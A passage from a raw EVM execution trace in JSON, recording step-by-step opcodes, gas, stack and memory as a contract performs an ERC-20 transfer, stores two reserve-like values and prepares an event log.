c09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6542,"op":"DUP4","gas":28103,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6543,"op":"SWAP1","gas":28100,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x9","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6544,"op":"SSTORE","gas":28097,"gasCost":2900,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0xc50cc66cadfb704b","0x9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6545,"op":"PUSH1","gas":25197,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6547,"op":"DUP3","gas":25194,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0xa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6548,"op":"SWAP1","gas":25191,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0xa","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6549,"op":"SSTORE","gas":25188,"gasCost":2900,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x2bda9a60795e41856a32","0xa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6550,"op":"PUSH1","gas":22288,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6552,"op":"DUP1","gas":22285,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6553,"op":"MLOAD","gas":22282,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6554,"op":"DUP5","gas":22279,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6555,"op":"DUP2","gas":22276,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6556,"op":"MSTORE","gas":22273,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0xc50cc66cadfb704b","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6557,"op":"PUSH1","gas":22267,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b00000000000000000000000000000000000000000000000000000000"]},{"pc":6559,"op":"DUP2","gas":22264,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b00000000000000000000000000000000000000000000000000000000"]},{"pc":6560,"op":"ADD","gas":22261,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0x20","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b00000000000000000000000000000000000000000000000000000000"]},{"pc":6561,"op":"DUP5","gas":22258,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0x1c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b00000000000000000000000000000000000000000000000000000000"]},{"pc":6562,"op":"SWAP1","gas":22255,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0x1c4","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b00000000000000000000000000000000000000000000000000000000"]},{"pc":6563,"op":"MSTORE","gas":22252,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0x2bda9a60795e41856a32","0x1c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b00000000000000000000000000000000000000000000000000000000"]},{"pc":6564,"op":"PUSH32","gas":22246,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6597,"op":"SWAP2","gas":22243,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x40","0x1a4","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6598,"op":"ADD","gas":22240,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6599,"op":"PUSH1","gas":22237,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b